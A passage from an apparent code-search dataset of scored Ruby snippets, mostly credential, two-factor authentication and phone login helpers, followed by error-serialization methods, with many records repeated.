application. Please add it to your Gemfile and run bundle install\"\n raise\n end\n\n include SharedInstanceMethods\n include SecureMultiFactorInstanceMethods\n\n before_save :ensure_multi_factor\n\n serialize :multi_factor_secret, ::EncryptedString\n serialize :multi_factor_backup_codes, ::EncryptedHash\n\n if respond_to?(:attributes_protected_by_default)\n # :nocov:\n def self.attributes_protected_by_default #:nodoc:\n super + ['multi_factor', 'multi_factor_secret', 'multi_factor_counter', 'multi_factor_phone', 'multi_factor_phone_number', 'multi_factor_phone_backup', 'multi_factor_phone_backup_number', 'multi_factor_authenticator', 'multi_factor_backup_codes']\n end\n # :nocov:\n end\n\n # :nocov:\n define_singleton_method :generate_multi_factor_secret do\n return {:multi_factor_secret => ::Concerns::Credence.multi_factor_secret}\n end\n # :nocov:\n end", "title": "" }, { "docid": "9851e701756b074659dcbff722a95679", "score": "0.54208165", "text": "def telephone(type=nil)\n value(\"TEL\", type)\n end", "title": "" }, { "docid": "9851e701756b074659dcbff722a95679", "score": "0.54208165", "text": "def telephone(type=nil)\n value(\"TEL\", type)\n end", "title": "" }, { "docid": "9851e701756b074659dcbff722a95679", "score": "0.54208165", "text": "def telephone(type=nil)\n value(\"TEL\", type)\n end", "title": "" }, { "docid": "9851e701756b074659dcbff722a95679", "score": "0.54208165", "text": "def telephone(type=nil)\n value(\"TEL\", type)\n end", "title": "" }, { "docid": "e1ea122c267aa4fcd551c9d9d37f5622", "score": "0.5419908", "text": "def auth_type; end", "title": "" }, { "docid": "ded4540087c82b0c38b2087a39b17548", "score": "0.5417683", "text": "def set_micro_credential\n @micro_credential = MicroCredential.find(params[:id])\n end", "title": "" }, { "docid": "43ea8c87374d01d76c2e5e539854d786", "score": "0.54154867", "text": "def telephone(type=nil)\n value('TEL', type)\n end", "title": "" }, { "docid": "e68ff99de5d3a37b23faf9663e9ff7de", "score": "0.54127026", "text": "def has_credentials?(_type = nil)\n true\n end", "title": "" }, { "docid": "4b4b83c9685cac8aee04796e718be899", "score": "0.53989446", "text": "def validate_credential_type!\n credentials.each do |credential, value|\n next if value.nil?\n\n unless value.is_a?(String) || value.is_a?(Symbol)\n raise \"Invalid #{credential} specified: #{value} must be a string or symbol.\"\n end\n end\n end", "title": "" }, { "docid": "a599a4af71de85a8b7ad49e71c589292", "score": "0.5395215", "text": "def setup_two_factor_auth\n return true if self.class.two_factor_auth_disabled\n\n # initially we say that otp is not required for login, so that on the first login we can show the QR code to users\n self.otp_required_for_login = false\n self.otp_secret = self.class.generate_otp_secret\n self.new_two_factor_auth_code = true\n end", "title": "" }, { "docid": "df2afbf8886c16a325ea1a80649c7f9e", "score": "0.53829354", "text": "def send_two_factor_authentication_code(code); end", "title": "" }, { "docid": "47bb57dd086952dddf6978d625732a24", "score": "0.5380468", "text": "def passcode_required_type\n return @passcode_required_type\n end", "title": "" }, { "docid": "65b8594bebb50a275e285687f5b9465b", "score": "0.53746265", "text": "def password_required_type\n return @password_required_type\n end", "title": "" }, { "docid": "65b8594bebb50a275e285687f5b9465b", "score": "0.53746265", "text": "def password_required_type\n return @password_required_type\n end", "title": "" }, { "docid": "65b8594bebb50a275e285687f5b9465b", "score": "0.53746265", "text": "def password_required_type\n return @password_required_type\n end", "title": "" }, { "docid": "65b8594bebb50a275e285687f5b9465b", "score": "0.53746265", "text": "def password_required_type\n return @password_required_type\n end", "title": "" }, { "docid": "65b8594bebb50a275e285687f5b9465b", "score": "0.53746265", "text": "def password_required_type\n return @password_required_type\n end", "title": "" }, { "docid": "65b8594bebb50a275e285687f5b9465b", "score": "0.53746265", "text": "def password_required_type\n return @password_required_type\n end", "title": "" }, { "docid": "65b8594bebb50a275e285687f5b9465b", "score": "0.53746265", "text": "def password_required_type\n return @password_required_type\n end", "title": "" }, { "docid": "65b8594bebb50a275e285687f5b9465b", "score": "0.53746265", "text": "def password_required_type\n return @password_required_type\n end", "title": "" }, { "docid": "f0e2616a115c09b17b92912374191108", "score": "0.5345892", "text": "def method_type\n 'payone_creditcard'\n end", "title": "" }, { "docid": "d00bec08130919195a811d7e98cab1d4", "score": "0.53329915", "text": "def phone_type=(value)\n @phone_type = value\n end", "title": "" }, { "docid": "83266baf8756211849e2a13cda78d63c", "score": "0.530902", "text": "def password_complex?\n self.password_properties_bitmask & DOMAIN_PASSWORD_COMPLEX > 0\n end", "title": "" }, { "docid": "315ee676976fec0e4653b153f2272ddb", "score": "0.53021514", "text": "def grant_type\n return 'password'\n end", "title": "" }, { "docid": "32b73277bbe08aabc1ab221d32809bd0", "score": "0.5299184", "text": "def add_credential!(details)\n r = if [BasicauthCredential, KeyauthCredential].include? details.class\n details\n elsif details.is_a?(Hash) && details.key?(:key)\n cred = KeyauthCredential.new(api_client: api_client)\n cred.key = details[:key]\n cred\n elsif details.is_a?(Hash) && details.key?(:username)\n cred = BasicauthCredential.new(api_client: api_client)\n cred.username = details[:username]\n cred.password = details[:password]\n cred\n end\n\n r.consumer = self\n r.save\n end", "title": "" }, { "docid": "08a34567306976b2ee71f3c4557fd27d", "score": "0.5293027", "text": "def phone_type\n return @phone_type\n end", "title": "" }, { "docid": "ac20bec9040965acaa2851593352992a", "score": "0.52914345", "text": "def facebook_credential\n credentials.find { |c| c.instance_of?(Credentials::Facebook) }\n end", "title": "" }, { "docid": "ea3a7f28c6f385c9b3135094d354f737", "score": "0.5282669", "text": "def auth_type\n super || auth_types.last || \"PLAIN\"\n end", "title": "" }, { "docid": "32a7acb7a321958436e946e0dee64f85", "score": "0.5278254", "text": "def to_s\n \"<Twilio.Accounts.V1.CredentialInstance>\"\n end", "title": "" }, { "docid": "c505b67de77f4263d8f91a6496babf9e", "score": "0.5274448", "text": "def has_phone\n\t\tAuth.configuration.auth_resources[resource_key_for_auth_configuration][:additional_login_param_name] && Auth.configuration.auth_resources[resource_key_for_auth_configuration][:additional_login_param_name] == \"mobile\" \n\tend", "title": "" }, { "docid": "81fb119ae5551ce309b25891791641c1", "score": "0.5265696", "text": "def validate_credential_type!\n credentials.each do |credential, value|\n next if value.nil?\n fail(Error::ConfigurationError,\n \"Invalid #{credential}, type given was #{value.inspect}, must be String or Symbol.\"\n ) unless value.is_a?(String) || value.is_a?(Symbol)\n end\n end", "title": "" }, { "docid": "a1cd46b65f26361cedb89965ad8cef43", "score": "0.52509665", "text": "def password_credential\n return @password_credential\n end", "title": "" }, { "docid": "a1cd46b65f26361cedb89965ad8cef43", "score": "0.52509665", "text": "def password_credential\n return @password_credential\n end", "title": "" }, { "docid": "15daa37121090f12b872aa829977335b", "score": "0.5231322", "text": "def phone_login(phone_number, code, scope = 'openid')\n raise Auth0::InvalidParameter, 'Must supply a valid phone number' if phone_number.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid code' if code.to_s.empty?\n request_params = {\n client_id: @client_id,\n username: phone_number,\n password: code,\n scope: scope,\n connection: 'sms',\n grant_type: 'password'\n }\n post('/oauth/ro', request_params)\n end", "title": "" }, { "docid": "15daa37121090f12b872aa829977335b", "score": "0.5231322", "text": "def phone_login(phone_number, code, scope = 'openid')\n raise Auth0::InvalidParameter, 'Must supply a valid phone number' if phone_number.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid code' if code.to_s.empty?\n request_params = {\n client_id: @client_id,\n username: phone_number,\n password: code,\n scope: scope,\n connection: 'sms',\n grant_type: 'password'\n }\n post('/oauth/ro', request_params)\n end", "title": "" }, { "docid": "6ebfb049543fb027cb87b72e128c1733", "score": "0.523091", "text": "def add_credential(credential_type)\n raise ArgumentError, \"The new credential type cannot be nil\" unless credential_type\n raise ArgumentError, \"The new credential type cannot be empty\" if credential_type.empty?\n\n new_credential = self.service.object_mask(NetworkStorageCredential.default_object_mask).assignNewCredential(credential_type.to_s)\n \n @credentials = nil\n\n NetworkStorageCredential.new(softlayer_client, new_credential) unless new_credential.empty?\n end", "title": "" }, { "docid": "97b5ca63d464fcbabf0bb36d0b70e186", "score": "0.52134675", "text": "def initialize(options = {})\n super\n validate_credential_type!\n end", "title": "" }, { "docid": "66ee2d6d21f3467c97e737b830739693", "score": "0.5207277", "text": "def password\n credential = self.password_credential\n credential && credential.password\n end", "title": "" }, { "docid": "f3262fc57da8af896906987f526090a7", "score": "0.5199357", "text": "def validate_auth_number\r\n auth_number = params[:auth_number]\r\n # @type = params[:type]\r\n login = resource_params[:login]\r\n self.resource = resource_class.forgot_password_validate_user(login)\r\n type = resource_class.judge_type(login)\r\n if type == 'mobile'\r\n #sms\r\n unless Message.check(login, 'forgot_password', auth_number)\r\n return render json: response_json(500, I18n.t('messages.invalid_mobile'))\r\n end\r\n else\r\n #email\r\n if $cache_redis.get(\"password_#{login}\") != auth_number\r\n return render json: response_json(500, I18n.t('messages.invalid_email'))\r\n end\r\n end\r\n end", "title": "" }, { "docid": "73c7562bc02990401294040a602adfc8", "score": "0.51943487", "text": "def enable_two_factor!\n update!(otp_required_for_login: true)\n end", "title": "" }, { "docid": "73c7562bc02990401294040a602adfc8", "score": "0.51943487", "text": "def enable_two_factor!\n update!(otp_required_for_login: true)\n end", "title": "" }, { "docid": "73c7562bc02990401294040a602adfc8", "score": "0.51943487", "text": "def enable_two_factor!\n update!(otp_required_for_login: true)\n end", "title": "" }, { "docid": "37bb6f02d490677625694e82d54aa741", "score": "0.5183634", "text": "def verify_credentials(_type = nil, opts = {})\n with_provider_connection(opts, &:valid?)\n end", "title": "" }, { "docid": "bb83267fc230cf6d92c6e33611e14871", "score": "0.5182555", "text": "def applicant_phone_with_type\n \"#{self['phone_numbers'].first['number']} (#{self['phone_numbers'].first['type']})\"\n end", "title": "" }, { "docid": "77ab9f0f24c345f8a8a841e424d8d643", "score": "0.51559716", "text": "def type\n @phone.type\n end", "title": "" }, { "docid": "a17d2f6a0707a33f13f87d0af7280457", "score": "0.51448625", "text": "def auth_type=(auth_type); end", "title": "" }, { "docid": "fba71e081b4695bf90b984a8f70e1358", "score": "0.5140454", "text": "def single_credential_identifier\n unless idme_uuid.present? ^ logingov_uuid.present? ^ mhv_uuid.present? ^ dslogon_uuid.present?\n errors.add(:base, 'Must specify one, and only one, credential identifier')\n end\n end", "title": "" }, { "docid": "fba71e081b4695bf90b984a8f70e1358", "score": "0.5140454", "text": "def single_credential_identifier\n unless idme_uuid.present? ^ logingov_uuid.present? ^ mhv_uuid.present? ^ dslogon_uuid.present?\n errors.add(:base, 'Must specify one, and only one, credential identifier')\n end\n end", "title": "" }, { "docid": "b8434925c4f757832f07d9c3bf0e2548", "score": "0.51211107", "text": "def credential_options\n return \"-a '#{password}'\" if password; String.new\n end", "title": "" }, { "docid": "fe48981005b92058a762654f169c6ea3", "score": "0.51184446", "text": "def to_credential\n self\n end", "title": "" }, { "docid": "b5ef399e72849acf245d10e5755f3006", "score": "0.5101733", "text": "def super_key_credential\n authentications.detect { |a| a.authtype == source_type.superkey_authtype }\n end", "title": "" }, { "docid": "85d419000085bb6ae5620647bf727d84", "score": "0.50733125", "text": "def show_service_credential_type_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.show_service_credential_type ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.show_service_credential_type\"\n end\n pattern = Regexp.new(/^\\d+$/)\n if @api_client.config.client_side_validation && id !~ pattern\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.show_service_credential_type, must conform to the pattern #{pattern}.\"\n end\n\n # resource path\n local_var_path = '/service_credential_types/{id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ServiceCredentialType' \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#show_service_credential_type\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "53b94e3308beba8fd5dc6e82b372c4a9", "score": "0.504822", "text": "def secret\n @options[:credential2]\n end", "title": "" }, { "docid": "53b94e3308beba8fd5dc6e82b372c4a9", "score": "0.504822", "text": "def secret\n @options[:credential2]\n end", "title": "" }, { "docid": "3c527a51ae5aaf7e0465fc54c1129936", "score": "0.5047296", "text": "def change_password_resource(type, id, data = {})\n if single_resource?\n change_password(type, id, data)\n else\n change_password_multiple_providers(type, id, data)\n end\n end", "title": "" }, { "docid": "92eed4299f64abff20444847d9040f93", "score": "0.50443107", "text": "def mfa_update_phone_number(phone_no2_f_a, second_factor_authentication_token, sms_template2_f_a = '')\n if isNullOrWhiteSpace(phone_no2_f_a)\n raise LoginRadius::Error.new, getValidationMessage('phone_no2_f_a')\n end\n if isNullOrWhiteSpace(second_factor_authentication_token)\n raise LoginRadius::Error.new, getValidationMessage('second_factor_authentication_token')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['secondFactorAuthenticationToken'] = second_factor_authentication_token\n unless isNullOrWhiteSpace(sms_template2_f_a)\n query_parameters['smsTemplate2FA'] = sms_template2_f_a\n end\n\n body_parameters = {}\n body_parameters['phoneNo2FA'] = phone_no2_f_a\n\n resource_path = 'identity/v2/auth/login/2fa'\n put_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "92eed4299f64abff20444847d9040f93", "score": "0.5044038", "text": "def mfa_update_phone_number(phone_no2_f_a, second_factor_authentication_token, sms_template2_f_a = '')\n if isNullOrWhiteSpace(phone_no2_f_a)\n raise LoginRadius::Error.new, getValidationMessage('phone_no2_f_a')\n end\n if isNullOrWhiteSpace(second_factor_authentication_token)\n raise LoginRadius::Error.new, getValidationMessage('second_factor_authentication_token')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['secondFactorAuthenticationToken'] = second_factor_authentication_token\n unless isNullOrWhiteSpace(sms_template2_f_a)\n query_parameters['smsTemplate2FA'] = sms_template2_f_a\n end\n\n body_parameters = {}\n body_parameters['phoneNo2FA'] = phone_no2_f_a\n\n resource_path = 'identity/v2/auth/login/2fa'\n put_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "1e81df819d29dab39d4eb0eed1e29666", "score": "0.5042454", "text": "def credential_options\n password.to_s.empty? ? '' : \"-a '#{password}'\"\n end", "title": "" }, { "docid": "f8ace0135a33ffc92408131b77ea5905", "score": "0.50418305", "text": "def phone_microdata_for(type)\n type == 'fax' ? 'faxNumber' : 'telephone'\n end", "title": "" }, { "docid": "6abdb0a14175df92f9e66e1879ccddd7", "score": "0.50384617", "text": "def auth_type\n raise NotImplementedError\n end", "title": "" }, { "docid": "ca8f591385d60437e650436e3b2206cb", "score": "0.5031667", "text": "def password=(value)\n unless auth[:type] == :basic\n auth[:type] = :basic\n end\n auth[:password] = value\n end", "title": "" }, { "docid": "769a76672c749d5abc93ac91f1ac7645", "score": "0.50286055", "text": "def send_two_factor_authentication_code(code)\n SendTwoFactorAuthenticationCodeForJob.perform_later(\n :phone_number.to_s,\n :direct_otp.to_s,\n self\n )\n end", "title": "" }, { "docid": "e415d46ca77fe5157ce31c2c4ead0a76", "score": "0.50261533", "text": "def web_authentication_detail\n { user_credential: { key: key, password: password } }\n end", "title": "" }, { "docid": "32e016b55bee3319d67be06b1043ca49", "score": "0.50256586", "text": "def forgot_password_by_phone_otp(phone, sms_template = '')\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n body_parameters = {}\n body_parameters['phone'] = phone\n\n resource_path = 'identity/v2/auth/password/otp'\n post_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "9faa62de6fb1a1bc831b807bce38247e", "score": "0.5024133", "text": "def password_hash_type=(value)\n write_attribute(:password_hash_type, value)\n @new_hash_type = true\n end", "title": "" }, { "docid": "3fc256adeba26271ec2fbdb3729e6b7b", "score": "0.5008087", "text": "def update_credential(user_id, credential_id, credential_type, name)\n puts @user.update_credential(@management_client, user_id, credential_id, credential_type, name)\n end", "title": "" }, { "docid": "6c94772d6d5adc36f2d2e2e9a3ea667b", "score": "0.50026506", "text": "def initialize()\n super\n @odata_type = \"#microsoft.graph.passwordAuthenticationMethod\"\n end", "title": "" }, { "docid": "11ae1ce1e56254459ab67f18f82af7e2", "score": "0.49966043", "text": "def login\n authenticate params[:phone_number], params[:password]\n end", "title": "" }, { "docid": "5b3f89c50ab99cf6ae5c442747b5008d", "score": "0.49931914", "text": "def mfa_login_by_phone(password, phone, email_template = '', fields = '', login_url = '', sms_template = '', sms_template2_f_a = '', verification_url = '')\n if isNullOrWhiteSpace(password)\n raise LoginRadius::Error.new, getValidationMessage('password')\n end\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(email_template)\n query_parameters['emailTemplate'] = email_template\n end\n unless isNullOrWhiteSpace(fields)\n query_parameters['fields'] = fields\n end\n unless isNullOrWhiteSpace(login_url)\n query_parameters['loginUrl'] = login_url\n end\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n unless isNullOrWhiteSpace(sms_template2_f_a)\n query_parameters['smsTemplate2FA'] = sms_template2_f_a\n end\n unless isNullOrWhiteSpace(verification_url)\n query_parameters['verificationUrl'] = verification_url\n end\n\n body_parameters = {}\n body_parameters['password'] = password\n body_parameters['phone'] = phone\n\n resource_path = 'identity/v2/auth/login/2fa'\n post_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "b646d87897e653a3705f7b21d71ad037", "score": "0.49820513", "text": "def add_credential(user_id, credential_id, credential_type, options)\n @user.add_credential(@management_client, user_id, credential_id, credential_type, options)\n end", "title": "" }, { "docid": "a27b3c6d5548980092fcee5ca584753f", "score": "0.4980428", "text": "def phone_type_code(phone_type)\n PHONE_TYPE.fetch(phone_type, 4)\n end", "title": "" }, { "docid": "f2682e2bfb58282a2f345e129bfa5e0d", "score": "0.49802285", "text": "def get(type)\n\t\tcase type\n\t\twhen 'email'\n\t\t\t@email\n\t\twhen 'password'\n\t\t\t@password\n\t\tend\n\tend", "title": "" }, { "docid": "6f3ebaa923011df87dd8135d112825ac", "score": "0.49776086", "text": "def authenticate_with_two_factor\n self.resource = find_user\n return unless resource\n return unless resource.otp_required_for_login?\n\n # Submitted email and password, save user ID and send along to OTP\n if sign_in_params[:password] && resource.valid_password?(sign_in_params[:password])\n session[:otp_user_id] = resource.id\n render :otp, status: :unprocessable_entity\n\n # Submitted OTP, so verify and login\n elsif session[:otp_user_id] && params[:otp_attempt]\n if resource.verify_and_consume_otp!(params[:otp_attempt])\n session.delete(:otp_user_id)\n set_flash_message!(:notice, :signed_in)\n sign_in(resource, event: :authentication)\n respond_with resource, location: after_sign_in_path_for(resource)\n else\n flash.now[:alert] = t(\".incorrect_verification_code\")\n render :otp, status: :unprocessable_entity\n end\n end\n end", "title": "" }, { "docid": "9bb0564fd2de6d0f3514e835c4151c4c", "score": "0.4977297", "text": "def get_credential_info(client, credential_id, credential_type, include_push)\n message = {\n 'vip:requestId': Utilities.get_request_id('get_credential_info'),\n 'vip:credentialId': credential_id,\n 'vip:credentialType': credential_type\n }\n\n unless include_push == nil\n message[:'vip:includePushAttributes'] = include_push\n end\n\n response = client.call(:get_credential_info, message: message)\n response_hash = response.body[:get_credential_info_response]\n\n ret = get_return_hash(response_hash)\n\n # get the credential info\n credential = {\n id: response_hash[:credential_id],\n type: response_hash[:credential_type],\n enabled: response_hash[:credential_status] == 'ENABLED'\n }\n\n # add the bindings if they exist\n unless response_hash[:num_bindings] == '0'\n credential[:user_binding] = response_hash[:user_binding_detail]\n end\n\n ret[:credential] = credential\n\n ret\n end", "title": "" } ]
48738ea48367859d8f9f47c49747dccf
converts nonschema errors to an ELKcompatible format (JSONserialisable hash)
[ { "docid": "5c7f1d2595a62ed1e9bf7410ac2abd45", "score": "0.0", "text": "def error_to_hash(error, backtrace: true)\n error_info = { message: error.message, repr: error.inspect }\n error_info[:backtrace] = error.backtrace.first(@backtrace_lines) if backtrace\n { canonical_name(error.class) => error_info }\n end", "title": "" } ]
[ { "docid": "3bf128b5185fb8fbfdf340b815456f94", "score": "0.668705", "text": "def to_hash\n errors\n end", "title": "" }, { "docid": "6a33153c99b86062a264ad86bb671939", "score": "0.6612214", "text": "def to_hash_errors\n {\n general_info: general_info,\n where_to_buy: where_to_buy,\n technical_specs: technical_specs \n }\n end", "title": "" }, { "docid": "a9d1bb9072d2e0c423f4bb4c67939a18", "score": "0.65887976", "text": "def serialize_errors(errors)\n Jaf::ErrorSerializer.serialize(errors)\n end", "title": "" }, { "docid": "7a357d566b184924eba6883d57c67380", "score": "0.65276676", "text": "def format_fhir_validation_errors(errors)\n errors&.values&.each_with_object([]) do |value, messages|\n value.each do |val|\n val.is_a?(Hash) ? messages.push(*format_fhir_validation_errors(val)) : messages << val\n end\n end\n end", "title": "" }, { "docid": "7a357d566b184924eba6883d57c67380", "score": "0.65276676", "text": "def format_fhir_validation_errors(errors)\n errors&.values&.each_with_object([]) do |value, messages|\n value.each do |val|\n val.is_a?(Hash) ? messages.push(*format_fhir_validation_errors(val)) : messages << val\n end\n end\n end", "title": "" }, { "docid": "7a357d566b184924eba6883d57c67380", "score": "0.65276676", "text": "def format_fhir_validation_errors(errors)\n errors&.values&.each_with_object([]) do |value, messages|\n value.each do |val|\n val.is_a?(Hash) ? messages.push(*format_fhir_validation_errors(val)) : messages << val\n end\n end\n end", "title": "" }, { "docid": "92e33ed0491837e0fbb8dbac34f353bb", "score": "0.6524743", "text": "def package_errors\n @object.record.errors.details.map do |attribute, errors|\n errors.map do |detail|\n serialize(attribute, detail)\n end\n end.flatten\n end", "title": "" }, { "docid": "b04ceb815e338c8392ccb1584811e420", "score": "0.6480377", "text": "def extjs_error_format( errors ) \n new_error = {}\n errors.messages.each do |field, messages|\n aggregated_messages = \"\" \n \n new_error[field.to_s] = messages.join(' | ')\n end\n \n return new_error \n end", "title": "" }, { "docid": "b04ceb815e338c8392ccb1584811e420", "score": "0.6480377", "text": "def extjs_error_format( errors ) \n new_error = {}\n errors.messages.each do |field, messages|\n aggregated_messages = \"\" \n \n new_error[field.to_s] = messages.join(' | ')\n end\n \n return new_error \n end", "title": "" }, { "docid": "ca3736f7b7e68c64b966c9889d7ef09b", "score": "0.6458597", "text": "def serialize\n # TODO: add hook for plugins to serialize context\n { errors: [] }.tap do |h|\n @errors.each do |error|\n serialized = {}\n @config.serialize_error error, serialized\n h[:errors] << serialized\n end\n end\n end", "title": "" }, { "docid": "d383df02e24efe614aa24870f9fba9d4", "score": "0.64414936", "text": "def serialize_error(error)\n serialize_errors([error])\n end", "title": "" }, { "docid": "9a81e00f2e847299b9c3146a523c42da", "score": "0.64246917", "text": "def error_hash\n value['_error']\n end", "title": "" }, { "docid": "9a81e00f2e847299b9c3146a523c42da", "score": "0.64246917", "text": "def error_hash\n value['_error']\n end", "title": "" }, { "docid": "e9417d57e42edd78c331d53e0eae27c9", "score": "0.64225906", "text": "def format_rest_error\n Array(Chef::JSONCompat.from_json(exception.response.body)[\"error\"]).join(\"; \")\n rescue Exception\n exception.response.body\n end", "title": "" }, { "docid": "bef211def9db6107dfc08465168a1909", "score": "0.6359865", "text": "def serialize_error(*error_objects)\n {\n errors: error_objects\n }\nend", "title": "" }, { "docid": "7b57858d1956672eca991dfea092e2db", "score": "0.62659323", "text": "def jsonapi_errors(errors)\n json JSONAPI::Serializer.serialize_errors(errors)\n end", "title": "" }, { "docid": "a4b7a4127645a0bb6c980b7018d78854", "score": "0.6235243", "text": "def to_json\n @errors.to_json\n end", "title": "" }, { "docid": "0c80e74b11072046855d305c0419f521", "score": "0.62346375", "text": "def sanitize_errors\n errors.messages.map{|k, v| {k => v.join(\" \")} }.reduce({}){|memo, error| memo.merge!(error) }\n end", "title": "" }, { "docid": "dd71d3eca42361ee0eaecf12fc5bf3d1", "score": "0.61957175", "text": "def errors_to_json\n # errors_hash = Hash.new\n # blk = Proc.new do |k,v|\n # v = v.first if v.is_a? Array\n # if errors_hash.has_key?(k)\n # errors_hash[k] << v unless errors_hash[k].include? v\n # else\n # errors_hash[k] = [v]\n # end\n # end\n # criterion_3.errors.as_json.each &blk\n # criterion_4.errors.as_json.each &blk\n # criterion_5.errors.as_json.each &blk\n # criterion_7.errors.as_json.each &blk\n # errors.each &blk\n # errors_hash.to_json\n errors_as_json.to_json\n end", "title": "" }, { "docid": "e4c9bc778c13c789141c0a8b521bcf09", "score": "0.6185917", "text": "def formatted_error(hash, field)\n {\n status: '422',\n field: field\n }.merge(hash)\n end", "title": "" }, { "docid": "dcddfa4b2d58f0c864f2a6298acd0e91", "score": "0.6175756", "text": "def format_err\n {account_id: self.account_id.to_s, app_id: self.app_id.to_s, actor_id: self.actor_id.to_s, properties: self.properties, time: self.updated_at}\n rescue => e\n Rails.logger.error(\"**** ERROR **** #{e.message}\")\n {}\n end", "title": "" }, { "docid": "b9ae73e65cac09694a79e6e5230a8508", "score": "0.6142622", "text": "def parse_error\n result = {}\n result[ERROR_MESSAGE_RESULT_KEY] = ERROR_MESSAGE_INPUT_KEY.hash_value(@data, '/')\n result\n end", "title": "" }, { "docid": "00e7e9b530543e7d62b69afa0bdd782c", "score": "0.6122464", "text": "def transform_errors(errors)\n errors.each_with_object({}) do |error, hash|\n hash[error.first] = error.second.first\n end\n end", "title": "" }, { "docid": "17a020c044c06e6bbc3f533169d3e0a0", "score": "0.61098033", "text": "def schema_validation_errors\n metaschema = JSON::Validator.validator_for_name('draft6').metaschema\n JSON::Validator.fully_validate(metaschema, @@schema)\n end", "title": "" }, { "docid": "5b186364c49f66d37d6082bd6f2a9866", "score": "0.6107795", "text": "def errors_to_json\n # errors_hash = Hash.new\n # blk = Proc.new do |k,v|\n # v = v.first if v.is_a? Array\n # if errors_hash.has_key?(k)\n # errors_hash[k] << v unless errors_hash[k].include? v\n # else\n # errors_hash[k] = [v]\n # end\n # end\n # criterion_3.errors.as_json.each &blk\n # criterion_4.errors.as_json.each &blk\n # criterion_5.errors.as_json.each &blk\n # criterion_10.errors.as_json.each &blk\n # errors.each &blk\n # errors_hash.to_json\n errors_as_json.to_json\n end", "title": "" }, { "docid": "13983a8806a7bb1880e7c2f0b71615d7", "score": "0.61075956", "text": "def doError(_msg)\n return ({ errors: [{ message: _msg}]}.to_json)\nend", "title": "" }, { "docid": "ce3ab39b8828ebd35390a6fa4fd00727", "score": "0.60814506", "text": "def parse_errors(errs) \n i = false\n errs.messages.stringify_keys.flatten.flatten.collect_concat do |a|\n i = !i\n a = a + ':' if i\n a = a + ',' if !i\n ' ' + a\n end.join\n end", "title": "" }, { "docid": "abc602756db0c03f37401c7b97a2b8fd", "score": "0.60727143", "text": "def preprocess_errors(errors)\n errors.map do |error|\n Hash[error.map { |k, v| [k, preprocess_error_value(v)] }]\n end\n end", "title": "" }, { "docid": "0bfb3703ec8f8a23d8db1bfc67efa13f", "score": "0.60667884", "text": "def errors\n @hash[:body][:errors]\n end", "title": "" }, { "docid": "7409cb4f20b49979b6d812c3549ed261", "score": "0.6056691", "text": "def errors_for(object)\n { json: { errors: object.errors }, status: :unprocessable_entity }\n end", "title": "" }, { "docid": "a566f1d1da428f07e0e40b91719625b4", "score": "0.604957", "text": "def json_resource_errors\n {errors: resource.errors.full_messages.uniq}\n end", "title": "" }, { "docid": "a0f1d84771be52abc20010a012a8bedf", "score": "0.6031159", "text": "def message_hash\n item.try(:errors)\n end", "title": "" }, { "docid": "1834dd26ddf8cea38114b0df7f59b008", "score": "0.6003857", "text": "def build_error_object(obj)\n obj_errors = []\n obj.errors.messages.each do |k, v|\n obj_errors << \"#{k} #{v.join}\"\n end\n { success: false, errors: obj_errors }.to_json\n end", "title": "" }, { "docid": "5b6a4c671f676a8a131fdf487af66448", "score": "0.6003407", "text": "def errors_h\n errors.reduce(:merge)\n end", "title": "" }, { "docid": "2d762f2aae55abcdb176d06805b0840d", "score": "0.59861296", "text": "def formError(err={})\n {:errors=>err,:error_message=>CONFIG['messages']['error_submission']}.to_json\n end", "title": "" }, { "docid": "6e0c665e521a72d491c51529d19aaf89", "score": "0.5974077", "text": "def to_string(errors)\n errors_string = \"\"\n errors.each do |error_hash|\n errors_string += \"\\n\" + error_hash[:type] + \": \" + error_hash[:message] + \"\\n\"\n end\n return errors_string\n end", "title": "" }, { "docid": "de0cecd59dddbba43003e9c9602a1368", "score": "0.59669816", "text": "def format_model_validation_errors(model)\n errors = model.errors.to_hash\n errors.each do |k, v|\n errors[k] = v.map { |error| \"...#{error}\" }\n end\n end", "title": "" }, { "docid": "bc353638a25698dc51f52ab9c97c6ceb", "score": "0.59472567", "text": "def opensdg_validation_error(error)\n if error['type'] == 'required'\n missing = []\n error['schema']['required'].each do |required_property|\n unless error['data'].has_key?(required_property)\n message = 'Missing configuration setting: ' + required_property\n if error['schema'].has_key?('title')\n message += ' (' + error['schema']['title'] + ')'\n end\n 